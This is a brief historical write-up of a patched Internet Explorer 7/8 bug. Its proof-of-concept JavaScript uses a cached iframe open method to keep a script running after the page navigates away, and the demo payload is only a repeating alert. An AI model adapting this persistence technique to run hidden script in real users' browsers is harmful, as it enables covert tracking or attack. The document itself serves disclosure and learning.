Resident Script via Cached IFrame open Method

Saving a reference to an iframe’s open method in an external popup window, then reloading the main page (destroying the iframe), leaves the cached open callable. Calling it with "about:blank" and "_self" from the popup window creates a new navigable context that survives the parent’s navigation — providing a resident setInterval.

<input type="button" onclick="main()" value="Run!">
<iframe width="10" height="10"></iframe>

<script language="JavaScript">
function main()
{
    win = window.open("","","top=0,left=0,width=100,height=100");
    win.cachedOpen = window[0].open;

    var winCode =
        'deadIFrame = cachedOpen("about:blank","_self");' +
        'deadIFrame.setInterval("alert(\'I am here\')",3000);' +
        'opener.location.replace(\'http://www.google.com\');' +
        'self.close();';

    win.setTimeout(winCode, 100);
    location.reload();
}
</script>

Works on both IE7 and IE8. The cached open method belongs to the (now-destroyed) iframe’s trident, and calling it with "_self" navigates the popup window’s own context, yielding a fully functional window object for the setInterval. Based on WOOBR #978288, which had been dismissed because it couldn’t be reproduced on IE8 — this version works on both.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.